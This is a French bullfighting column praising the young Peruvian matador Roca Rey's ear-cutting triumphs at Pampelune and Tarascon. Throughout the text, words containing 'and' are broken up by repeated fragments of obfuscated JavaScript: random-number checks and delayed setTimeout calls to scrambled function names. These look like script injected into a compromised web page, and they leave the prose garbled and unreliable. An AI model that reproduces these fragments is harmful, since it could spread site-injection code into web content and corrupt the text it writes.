ROCA REY, AVEC LE BALAI

Un dicton taurin, presque obsolète de nos jours, s’appliquait au torero débutant quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il démarrait son parcours enchaînant les triomphes de manière imparable et affichant à la fois des qualités pour devenir figura. On disait de lui : « celui-ci vient avec le balai ». Car « il allait tous les balayer ».

Alors que nous traversons aujourd’hui une période qui nous permet de profiter d’un éventail de novilleros très intéressant et prometteur –même si des organisateurs ne l’ont toujours pas compris et une partie du public non plus-, celui qui arrive avec le balai est Roca Rey. Je ne sais pas s’il les balaiera tous, mais son ascension est imparable son toreo dépuré associé à un courage ahurissant, ne cessent de grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andir de course en course.

Dimanche dernier à Tarascon il ratifia son triomphe à Pampelune coupant pas moins de six oreilles –il affronta un novillo supplémentaire après l’accident de Lilian Ferrani- pour continuer à avancer sans se dévier d’un seul millimètre de la ligne droite qui le mènera à son objectif. Il s’y dirige avec la même assurance qu’il a devant les toros et il semble avoir à la fois son objectif à sa portée et les idées très claires devant le bétail.

La dernière fois que je l’ai vu toréer c’était à Pampelune, le 5 juillet dernier, et il m’a confirmé toutes les qualités que j’avais décelées en lui lors de sa présentation à Séville un mois auparavant, dépassant certaines et montrant de nouvelles qui ne firent que le grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andir à mes yeux. Il m’a confirmé, qu’il le veut, veut et veut. Oui…il veut devenir un grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and torero. Il ne laisse pas passer la moindre occasion pour le prouver, que ce soit dans un quite, dans un détail, un problème qu’il faut qu’il faut surpasser. Il ne refuse rien et ne s’afflige jamais. Il m’a confirmé son courage qui vaut son pesant d’or. On ne le voit pas souffrir devant le bétail. Après s’être fait renverser il sort comme s’il ne restait rien pas passé et revient dans la gueule du loup quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il le faut pour triompher. À Pampelune, devant la violence décousue de son premier il opposa la sérénité, la fermeté relâchée, le temple et la douceur nécessaires pour transformer le coup de tête de la charge et la faire suivre le leurre encore plus que ce que j’avais vu à La Maestranza. Et quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and il fallut s’ « arrimer » il laissa venir à lui l’aspérité décomposée du novillo jusqu’à frôler ses cuisses sans sourciller. Puis vint le suivant, et après une réception à la cape d’infarctus qui mit debout les arènes, après avoir de nouveau ébahi le public avec un début de faena au centre des arènes et les passes inversées de dos les plus ajustées et propres que je n’ai jamais vues, surgirent les complications. Tout ce que le novillo avait en trop de qualité, lui manquait de force. Il peinait à chaque effort, se défendait en chutant ou en coupant la charge. Ce n’était donc pas le novillo le plus adéquat pour un torero vaillant et puissant. Et c’est là que le novillero de Lima me surprit agréablement, me prouvant qu’à part les qualités signalées, il possède un poignet en sucre et une âme de coton. Il prit soin du novillo avec un temple exquis ; ce temple qui transmet de la force à celui qui n’en a pas et lui fit suivre cette muleta soyeuse, rafraîchissant comme une brise suave, irrésistible, telle un aimant, amie. Uniquement, ou l’assesseur du jour –ce sont eux qui commandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andent dans les arènes de Pampelune- ne sembla pas avoir suffisamment apprécié la faena, l’épée –sacré coup d’épée- et l’ensemble de l’après-midi de ce nouveau Roi des novilleros et lui ferma la sortie par la Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande Porte. Tant pis pour le palco. Car le torero sortit propulsé après sa prestation. Et, comme je l’ai signalé précédemment, la semaine suivante il toréait à Tarascon pour que tout le monde comprenne –il se laissa prendre à plusieurs reprises avant de couper les quatre oreilles, pour arriver aux six qu’il coupa- que le mot « conformisme » a été éliminé de son dictionnaire. Il vient avec le balai. Et si les toros le respectent et continue de la sorte jusqu’à son alternative à Nîmes, il va provoquer des maux de tête à plus d’un…et plus de deux.

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